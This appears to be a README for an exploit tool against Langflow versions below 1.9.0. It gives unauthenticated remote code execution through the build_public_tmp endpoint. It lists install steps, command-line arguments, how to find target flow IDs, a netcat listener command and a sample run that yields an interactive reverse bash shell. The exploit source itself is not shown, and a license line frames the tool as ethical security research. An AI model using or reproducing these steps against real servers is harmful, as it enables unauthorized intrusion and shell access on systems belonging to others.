
Exploit for unauthenticated remote code execution in Langflow <1.9.0 via the build_public_tmp endpoint, delivering a reverse shell for authorized penetration testing.
Remote Code Execution for Langflow via the build_public_tmp endpoint.
Exploit via Public Flow Build Endpoint that executes a reverse shell on the target.
httpx libraryInstall:
pip install httpx
python exploit.py -u <BASE_URL> -l <LHOST> -p <LPORT> --flow-id <FLOW_ID> --client-id <CLIENT_ID>
-u, --url : Base URL of the Langflow instance (e.g., https://flow.example.com/)-l, --lhost : Your IP address to receive the reverse shell-p, --lport : Listening port for the reverse shell-f --flow-id : Target flow ID (required – obtain from /api/v1/flows/ or the UI)-c --client-id : client_id cookie value for session identificationStart a listener:
nc -nlvp 9001
Run the exploit:
python exploit.py -u https://flow.target.local/ -l 127.0.0.1 -p 9001 --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --client-id 8a6bf601-0263-480b-aa81-9a6389ca9e5d
If successful, you get an interactive bash shell.
flow-id is required. List all flows via GET /api/v1/flows or copy from the browser URL.MIT – for educational and ethical security research.